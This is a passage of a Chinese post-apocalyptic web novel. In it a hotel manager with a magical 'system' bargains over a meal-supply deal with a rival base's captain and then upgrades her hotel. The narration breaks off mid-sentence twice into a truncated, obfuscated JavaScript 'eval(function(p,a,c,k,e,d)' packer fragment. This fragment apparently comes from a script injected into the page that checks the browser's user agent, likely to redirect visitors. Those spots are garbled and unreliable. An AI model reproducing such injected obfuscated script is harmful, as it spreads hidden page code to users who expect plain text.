“虽然这几天赚到了很多晶核，我觉得再这样下去不行。希望基地……运行点，卖出的盒饭越多，越会让人生疑。酒店的规模太小了。”双百百欲言又止：“虽然我也不想当那个讲话难听的人，但是这实在有点古怪。”她缩了缩脑袋，偷偷看一眼何莱。众人保持着沉默，努力不让眼神跟着看过去。谁都知道不对劲，但出于对店长的信任和感激，始终没有点破过。 “这阵子卖出了多少份盒饭，我能问吗？”王守诚转脸看向何莱。 “我看看，一共是四百……三十五。”何莱翻开笔记本，众人倒吸一口凉气。 “里边包括店内的售卖量，而且因为有大量零散客人，基地之间共享的信息有限，及时打住应该不会有问题。”许约棠也看向何莱。 倩姐靠在沙发上一言不发，吴亓也在一边紧抿嘴唇，他们最终什么都没有问。 “我准备明天开始，对外宣称食材基本耗尽，将不再发售非住店客人的盒饭了。”何莱闭了闭眼，痛下决心：“只能这么办。” “其实你并不是第一个遇到这种问题的人。”系统的声音在她耳边响起，很自觉地加入了主题为《我们酒店好像要失控了》的会议小组。正当何莱内心一动，开口想要询问系统细节时，有新的来访者站到了门口，并且顺利地推开了大门。 归功于超市的人四处传留言时只给了一个简约地址，和永恒基地并没有这附近的详细地图——曹麦整整兜圈迷路了两天才，姗姗来迟地赶到翡翠酒店。一进门就看见沙发上的何莱疑惑地扭头看向自己，让这位灰头土脸的队长忽然一阵激灵。 “是你？”曹麦控制不住地指着她大叫：“是你！” “店长，什么……”吴亓从何莱身后抬起头，在看见曹麦的一瞬间愣住，随后双手凝出冰锥，表情变得警惕冷漠：“永恒基地的人。” 众人全部严肃起来，倩姐更是立刻站了起来。虽然不知为何气氛已经剑拔弩张，但所有人都摸出了武器，王守诚缓慢地挪步到了何莱斜前方。 “还有你！”曹麦见到吴亓，语调明显激动起来，完全没有了在基地初见时那副镇定冷静的模样：“你们就是酒店派出去的间谍吗？” 吴亓是他亲自领去考核的，至于何莱……自从那一天被何莱一船桨击翻在湖中，他经历了末日以来最丢脸的狼狈夜晚，而在最后还要靠着她的搭救才活下来……再往后的事情，曹麦就昏迷了。 直到他醒来后才被吴悠告知，这个他盯了许久的“间谍”竟然在他的手下被放跑了，已经离开永恒基地。而曹麦，这个设局的人，差点因此命悬一线。等他硬着头皮去向曹翼禾汇报，让基地剩余的同僚得知时，差点因为羞愧和耻辱而晕过去。 “小声点，别的客人还在睡觉。”何莱皱起眉，她站起身缓缓朝曹麦走去。 曹麦后退半步，警惕地抬头望向何莱。他身上还有血迹，头发乱七八糟，脸上也有些脏，不难看出跋山涉水摸索过来的辛苦。 “你饿吗？”何莱问。 曹麦冷着脸摇头，肚子发出一声诚实的响动。 店长叹一口气。 她一翻手掌，凭空出现一份盒饭：“这是我们酒店出售的盒饭。”她想了想：“永恒基地派你过来，无论谈什么都先吃饭吧。至于你把我们当成间谍的账，晚一点再算。” 31.母鸡、绵羊和蜥蜴进行曲 31 是夜，翡翠酒店。 何莱坐在吧台一侧，用手指轻轻敲击桌面。沉着脸的吴亓和徐冬青一左一右在她身后排开，曹麦捧着盒饭，坐在何莱对面，低着头迟迟没有动作，好像在思考，实则用余光视线左右环顾着酒店一楼的布置。他又看看守在大门口的王守诚，第一次无奈地低下头，打开盒饭。 随后他的动作一愣。 依旧温热的大米饭粒粒分明，一旁铺满的青椒新鲜青翠，泛着油光，碎肉末均匀地撒在其中，荤腥增添的香气无比霸道。苦瓜炒鸡蛋蓬松又喷香，清蒸白菜也水润地卧在盒饭里。 “……”曹麦举着筷子，几次没有下箸。 这样的阵容，完全超过了他的预料想象。比永恒基地里的供应还要好，这样的条件，这样的贮备，真的有必要去永恒基地里当间谍么？他犹豫片刻，在何莱的目光下夹了一块青椒和肉塞进嘴里。 “好吧。”曹麦说：“……永恒基地派我来谈合作。你们去基地真的是去找人的。” “这个以后再说。”吴亓看一眼倩姐，立刻阻断了他：“永恒基地的合作内容是什么？” “除此之外，就像别的幸存者团队一样，我们想要交换情报或者购买资源。”何莱抱着手臂开口：“难道所有走进你们基地的非成员都是来当间谍的么？”她依旧对被怀疑后直接定罪耿耿于怀。 “可是，你们那个时候目标明确地直奔负责外出的核心作战队和城墙巡逻队......”曹麦埋头扒着盒饭，含糊不清地开口。他虽然携带了必要的物资，但一路颠簸的时候总是吃不上热饭的，永恒基地里也很少能供应肉食。这已经是罕见的美食。 何莱与吴亓对视一眼，原来是他们为了尽快摸排到吴悠的动作太快，反而引起了注意。 但巡逻队真是开玩笑的。何莱想到这儿，有点后悔，苦着脸继续听下去。 “而且吴……”曹麦眼见着就要抬出好友吴悠来，吴亓与何莱紧急收回目光，整齐地开口：“吃你的饭！” 曹队长继续摸摸鼻子，低头老老实实地夹菜进食：“你们……这里吃得还挺好的。”他忍不住又抬头四处张望：“是有一定规模的种植和养殖园区吗？搭建了整条产业链？你们运营点专做食物输出？” “差不多吧。”双百百抱着不知道从哪里找来的文件夹坐到曹麦旁边，她在刚才何莱的介绍下已经明白了对方的身份，以此格外热情地掏出一张写满字的白纸：“不知道贵基地的合作是以哪种形式进行的？这类盒饭我们能够进行持续的供应，当然，数量不会很多。” “能供应多少？”曹麦敏锐地抓住她的话题想要试探，何莱抬起手：“我们的产出能力是一天五十份，对永恒基地售卖的价格是三晶核一份。” “你还在生他的气啊。”系统听见价格，冒出来说。从何莱回来的晚上，就将一切遭遇都和系统说了。 “一晶核一份，我们全要了。”曹麦毫不犹豫。 “你看。”何莱在心里说：“我就知道这家伙会这么说。” “不可能。我们这边最多给到两晶核一份。”何莱一伸手，双百百将白纸递过来，何莱装模作样地对着上边的鬼画符沉吟半天，随后摇了摇头：“再多的话，我们酒店也经营不下去了。希望基地仅存的所有资源都用来发展这处运营点，六位异能者全部驻扎在此了，我总不能乱来一通。” 她隐晦地给了一个警告，被曹麦接收到，心中一凛。 “十三晶核十份。”曹麦说。 “不行，没有降价的余地。”何莱毫不留情地回答。 “你应该知道永恒基地的影响力和军事能力。”曹麦看着她，言语里同样带上几分隐晦的威胁：“你上次……在永恒基地里伤人的事情，差点杀死一位队长。我们还没有谈这件事。” “哟，上次是谁二话不说就把我们店长差点杀了啊？”吴亓阴阳怪气地开口，模仿着曹麦的语气：“对着自己人大打出手，没有任何实质证据就上逼供……啧。难道外来的幸存者是你们那儿低一等的成员吗？这话要放出去给别的异能者听了，他们会怎么想？” “……两晶核三份。”曹麦硬着头皮：“再多也没必要了，我们基地并没有缺粮到这个份上，只是图一个方便。” 何莱见价格到了能接受的地步，才重新坐下：“我们不负责运送。” “......行。”曹麦咬牙：“每半个月我们会派人来押送一趟。数量还能再提吗？每次要一千五百份。” “他想累死我啊？”系统在何莱耳边尖叫。 “量太多了，我们最多每半个月向永恒基地提供五百份。”何莱镇定开口：“并且永恒基地需要对外宣布，翡翠酒店以希望基地运营点的身份，进入你们的庇护范围。” “你还想要我们基地为你们酒店背书？”曹麦眯起眼睛：“那也要拿出点诚意来。就说这酒店，也太小了，不对劲吧。” “什么？”王守诚皱眉。 “我问你，希望基地真的毁灭了吗？”曹麦再开口的时候仿佛所有所思：“你们的资源一定留存了下来。还在某处，只是不敢暴露，或许藏在旧基地里。这处运营点只是被推出来对外继续做交易的靶子，为了不暴露你们的真实大本营？”他冷笑一声：“还真是下血本啊。六位异能者。”曹麦深深地看一眼何莱：“你为了不暴露身份，在那天晚上情愿死都不肯用异能么？” 何莱在心里冷笑了一下。 “他是这么想的吗？那好吧。”系统诧异的声音响起：“店长，快，把你的小计划打出去！” “真是的。”何莱嘀咕，但还是如系统所愿，抬手竖起一根手指。从天空里精准地摔下一只母鸡，砸在曹麦脑袋。随后是扫帚和扫把，一人一统再配合之下，空间异能伪装得确实像模像样。 曹麦的脸色难看起来。 “反正，曹队长。如果这桩生意没有谈成，或者你对永恒基地的高层说了些什么乱七八糟的内容让他们起了贪念，我们就会对外放出话来——是永恒基地的小队长曹麦为报私仇，意气用事搅黄了我们之间洽谈的协商。”她猛地合拢双掌：“再然后，翡翠酒店将在一夜之间消失，撤回希望基地，你就要留下来独自承受怒火了。”她干脆顺着曹麦的话继续往下讲。 随后的气氛不算太融洽。 曹麦沉默在原地思索掂量的时间太久，让徐冬青打了个哈欠，兀自上楼去休息了。 吴亓也敲着吧台的木桌面，倚靠着有一搭没一搭开口：“店长，又不是没有别的选择了。我们昨天不是还接待了火箭发射基地的人吗？和他们谈谈也好啊。”他瞥一眼曹麦：“起码那里的人不会随意把人当间谍押起来。”显然在当天接受了糟糕对待的人不止何莱一个。 “行吧，曹队长，那你先今晚自己好好考虑吧，我们要休息了。”何莱站起来，走到前台后边，摆出专业姿态：“住店费用一晶核一晚。我们店采取翡翠货币制度，请将一晶核投放进兑换机器里。” 曹麦站起身来，顺从地在店长手上办理完流程，又被她带着去到房间，留在楼下的众人互相看看，今晚的会议好像也有了个结果，于是各自散开回去休息不提。 “系统，他入住以后，我们是不是满30人可以升级了？”何莱难以言喻心底的兴奋。 “系统判定他只是过路人，不属于你真正的客人。”系统冷酷地一板一眼。 “……”行吧。何莱回到自己的房间，熄灯爬上床睡觉。 三百米外，废弃建筑群。 “哥，老大那边，怎么一直没动静啊，这么久了还不行动？”超市的打手小弟混迹在一群流浪的生存者中，正在被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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何莱摊开手，她饱含歉意地望着王守诚：“抱歉，王叔，我并不知道真实情况。我在尸潮爆发的时候就和基地失去联系了……但，这么说，是当前唯一能解释我们酒店来头，让它免于危机的办法了。”她不断虚构一个又一个庞然大物来做酒店的庇护，左支右绌地维系着一群人在末日中勉强安静的平稳生活。 “......我明白了。”王守诚的眼神黯淡下来，却依旧宽慰地笑笑：“酒店的名声越来越响，有个庇护的名头是好事。”他补充道：“光靠希望基地的已经不够用了，加上永恒基地，也是很好的。” “对。王叔，我们未来还会腾出手去继续寻找希望基地剩余成员的下落。只要是从希望基地里逃出来的人到了店里，我都会认真看顾。”何莱望着他郑重承诺：“王叔，我保证。” “我相信你。”王守诚不知道自己是第多少次给出了这样的回答：“我会帮忙的。” 超市内部。 “老大！老大……不好了！那个翡翠酒店突然和永恒基地搭上了！” 昨夜守在酒店附近废弃建筑楼里的中层喽啰慌乱地跑了进来，嘴里不断嚷嚷着，身后跟着一个快要跑断气的小弟，二人都神色慌乱惊恐。 “老大，永恒基地对外公布了和翡翠酒店的合作，并称酒店作为希望基地遗址，已经正式被他们纳入保护范围了！”中层喽啰毕恭毕敬。 王荆正躺在超市中央的沙发上，闻言一个大怒，坐起身的时候手中握着的雪梨被捏得汁水四溢，它被用力甩出去，直接砸上旁边军师的脑袋：“你自己听听看！什么鸟主意？这破烂酒店还搭上永恒基地了！” 即使是希望基地，在没有毁灭于尸潮的时候都是超市无法撼动的存在。更别提再往上的永恒基地了，相对于超市这群人，俨然是无法招惹的庞然大物。 王荆越想越气， “是……是……老大，我去查查怎么回事，我再想办法，老大，我再想想！” 吕田广面上荒乱，连忙低下头，被王荆骂着唯唯称是。当着整个超市所有成员的面，他的眼底闪过一丝恼怒的愤恨之意。 32.母鸡、绵羊和蜥蜴进行曲32 与永恒基地的合作敲定下来后，翡翠酒店的运营发展步入规律阶段。大基地的名头果然很好用，有保障的宣传作用，同时也震慑不少被名头吸引来想闹事的小团队——显然，不包括超市。那群小丑还在蹦跶，但已经没有人太留心了。 何莱店长总算是过上了最初系统承诺的好日子——可以缩在酒店里，不再像最初那样亲力亲为，每日都在搏命换物资和发展。 她懒懒散散地连着睡觉，安稳修补前些日子饱受惊吓的心灵，店员和客人们各司其职，十分靠谱。连卖盒饭的业务都已经移交出去，每天在不到三平米的单人床上醒来，何莱深感米虫生活来之不易，倍感珍惜幸福时光。 以王守诚为首的外出探险小队逐日成了规模，主力有许约棠和谢珂，拉上其余没有异能的客人们，众人一起赚取晶核。通过暂时还算秘密的地下通道进出酒店，俨然也是一支战斗力不俗的队伍，一周行动两至三次。 吴亓依旧独来独往，把手中的枪留给了倩姐，自己每天往外跑，基本两三天回一趟酒店，收获颇丰，何莱感觉他自从去了永恒基地，就对搜寻物资和打猎有了强烈的兴趣——而且还在那边获得了专业的指导训练，此刻宛若猎人下山。附近的小动物们遭了不少殃，但酒店的客人们倒是因此幸福了一把。 倩姐时不时也独自外出一趟，但总是失望而归。 吴亓说她其实在寻找疗养院的剩余成员，希望能再遇见过去的伙伴们。何莱听完以后沉默很久，她一直瞒着疗养院三楼的情景。 许在杉则组建了一支自己的队伍，虽然会外出，但因为主要是老年人和小孩多，所有基本的职责是放羊还有遛弯。就在附近的街区里巡逻，或者在绿化带中搜寻可以带回种植的作物踪影。无论如何，有着防御系异能者带队，又在熟悉的周边，即使是胆小的客人们也敢壮着胆子每日出行，多少能有些收获填饱肚子了。 葛爷爷依旧坐镇酒店——或许要变为长期坐诊了，平日里但凡客人们有点小伤小病，都能去找他医治，由蓉姨负责安排，根据伤势严重程度收取一定费用，作为酒店后勤部老人们的额外补贴。 忘了说，在某个夜里，此前经常来购买盒饭的一家三口前来投靠入住酒店后，何莱终于得偿所愿地升级了酒店。 这一次的内部变化很少，但是后院里的种植园面积扩大了三倍不止，还多了专门的养殖区域，在高耸围墙下有几只毛茸茸的鸭子幼崽和一小片池塘。 “啊！”许在杉捂着脸惊呼一声。 “嘘——”其余的人尚在睡觉，何莱在升级酒店的时候，大厅里正好就只有一个到处乱转的许在杉，于是被拉来一起参观。 “店长，这是你挖的？” 许在杉用不可置信地眼神看着她。 “对。还有你。明天一早，有人问起来你就说，你姐姐和你，还有我，王叔四个人闲着没事干，把种植区扩大了一些。”何莱面不改色地对着至少需要十个人艰苦奋战至天明的巨大场地撒谎。 “那这围墙怎么解释......？”许在杉战战兢兢。他作为亲自下过地的农学生，很难不明白这个所谓闲着没事干造出来的工作量有多大。 “我的异能，又......升级了。”何莱走过去低头摸了摸嘎吱乱叫的小鸭子们，眼里露出温柔的神色：“酒店真的，越来越好了。” 她对系统发问：“管家，醒一醒，池塘里有鱼苗吗？” “天啊亲爱的店长，您自从不亲自外出之后，就失去了很多传统的美德。越来越坐享其成贪心不足了。”系统一如既往地抠搜：“没有，自己去公园里捞，那里不少呢。顺带一提，我们的酒店正在一路逐渐从高端国际品牌的气派奢华款往质朴农家乐狂奔，您有什么头绪吗？” 每晚入睡前何莱都会和系统聊天，在插科打诨之中穿插一点对世界的探查了解，比如说每任店长运营下的酒店都会根据发展路线和需求而有所区别。何莱显然选择了最质朴的大家族拉拉扯扯版本，目前有点像农庄。不太漂亮，但是好用。 系统颇有怨言：“真怀念曾经那位大搞奴隶制度的店长，修建的地下窖很有复古贵族风。” “别这么想，管家，如果你实在有想被压榨的需求，我会尽量满足你的。”何莱笑得有些不怀好意。 徐冬青小姑娘醒来以后，根据已经养成的习惯直往楼上奔去——她爱上了吹清晨的凉风和晒太阳，酒店的天台视野宽阔，还有躺椅。每一次冬青盖着自己的小毯子躺在天台里，昏昏欲睡的时候总会感觉暖洋洋，好像回到了过去在基地里安全平静的日子......甚至是末日之前，家人们还在，被照顾的时光。小姑娘总是慢慢拍着自己，把自己再哄睡一觉。 但今天，等她快速爬上楼梯，没来得及留意到细微的变化，就发现原本应该是等待着它的天台变成了一条走廊。 冬青手一松，毛毯跌落在地。她大叫出声。 “哎唷，青青，怎么了？！”同样起得很早的蓉姨匆忙赶过来，许在杉推开房门跟在后边，一边挠着后脑勺一边跟过来，看着多出来的一层楼和与楼下一模一样排开的客房大门，歪了歪嘴。 这总不能是他们四个人半夜没事干盖出来的吧？！ 这已经反人类了吧店长大人！ 冬青飞快地跑过走廊，又往上一层，终于看见了她的天台。不，现在是小花园了。冬青眼前一亮，欢呼着飞快扑过去。在盆栽、绿化带与几套木头桌椅中间，有一个藤蔓编制的蛋壳型小吊篮，刚好够小朋友们的身形爬进去晃荡。冬青把毯子铺进去，喜滋滋地晃了几下，决定晚点等楼下的王堂小朋友起床，立刻带小伙伴来分享这处好地方。 “在这里……平时我们回来喝茶吃饭都蛮好的啊。”许在杉也跟过来，望着这块地有点恍惚。 蓉姨已经匆匆下楼去叫姐妹们来看看了。 末日之中的乌托邦，这一处安全放松的空间，有阳光和微风。 一楼的大厅倒是没有太多变化，厨房大了一点点，桌椅位置宽敞许多，但都不那么容易察觉。系统贴心地帮何莱做了基础的伪装——“你的房间我就没空管了。”系统说：“它以后就一直是那样。” “随便。”何莱耸耸肩，她对居住条件没什么要求。况且现在这样已经让她很满意。 王守诚起床以后，随意地往四周看一眼，然后靠在前台上，压低声音问何莱：“这酒店......又升级了吗？” 何莱笑容一僵：“你观察好敏锐啊。正好，有件事需要你配合，我们这边来说——”她把王叔拉过去。 翡翠酒店忽然增加了一层，从外部看却不算特别明显，不知道是出于什么原理。 依旧有不少人注意到了，有震惊恼怒的，比如超市，有沉思后恍然大悟的，比如各大基地，当然也有直接问的，比如酒店里的客人们。 “异能，都是异能。”何莱一张牌走天下，面不改色地露出一副“这么幸运我也真是没办法啊”的表情。住在酒店里的客人们当然只有高兴的，运营者异能强力是件好事，能显著提升运营点存活下来的概率。 但当曹麦开着大巴车停在酒店门口的时候，明显愣了一下。他下车以后抬头望了一会，最终什么都没说，望向站在门口等待的店长。 何莱深谙生意在于服务的敬业精神，笑容非常灿烂，态度良好地一早就候在门口，看着曹麦和带来的队员一起吭哧吭哧往下抬空的泡沫箱子，忽然有种影视城真的很适合发盒饭的感觉......好眼熟。 随着酒店的发展，何莱在一开始总是突然察觉到的那股熟悉感好像正在逐渐消失，就好像——一切都是全新的，这种感觉。她说不上来，难道之前的那些，在她失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曹麦当然是知道吴悠和吴亓关系的——上次被吴悠救回唤醒，欠了她一个保密的人情，再加上先前的交情，他们本来就是基地里彼此为数不多的朋友之一。于是曹麦在大队长下发任务时保持了沉默。虽然还不明白为什么她要求保密，但既然误会已经解除，吴悠作为末日中独自挣扎求生的姑娘，舍不得离开基地又想见一眼家人，不算太过分的要求。 “不愧是吴队长啊，总是这么优秀，身兼多职。”一旁的民兵队员终于放完最后一盒便当，如释重负地甩着手，也探着脖子往里边看。 “要不进来坐坐？你们吴队长还在楼上视察天台。”何莱邀请。 “啊，这......”队员扭头看曹麦。 “不用了，我们就在车上等。”曹麦抱起一个泡沫箱，艰难地往大巴上走去。 “啊......”那人萎靡下来。 “叔叔，这个给你。”糖糖从王守诚腿后边探出头来，塞出了一根被揉皱包装的棒棒糖。 “啊，真是谢谢你。”队员又迅速高兴起来。看得曹麦好笑，摇了摇头，对上何莱的视线，他又猛地收住刚才真心的笑容。 “......”何莱从口袋里掏了掏，递出一块翡翠币：“那这个给你吧，留个纪念。” 喂，哄小孩呢！曹麦面上不显，又挤出一个微笑，点头接过。低头仔细打量，确实做工精细，几乎能称得上漂亮。他在掌心里握紧硬币，决定带回去好好研究。 “走吧。”等到吴悠下来的时候，眼眶边上微微有些泛红，但很快被她半低着头帮忙搬动盒饭时垂下的短发给遮盖了。倩姐站在二楼遥远地目送她，吴亓走到边上来低声嘱咐几句，帮忙把最后一箱泡沫箱搬上去后，也转身离开了。还有外人在，他们不想被看出来太熟悉，这是吴悠的要求。 “下次出任务，我和吴队长来就行。”曹麦犹豫一会，突然说了一句。 “啊？队长，你行吗？”队员提问。 “盒饭份量也不多。好了，上车。”曹麦最后看了何莱一眼，也快速地转身登上大巴，熟练地启动发动机，驶离酒店。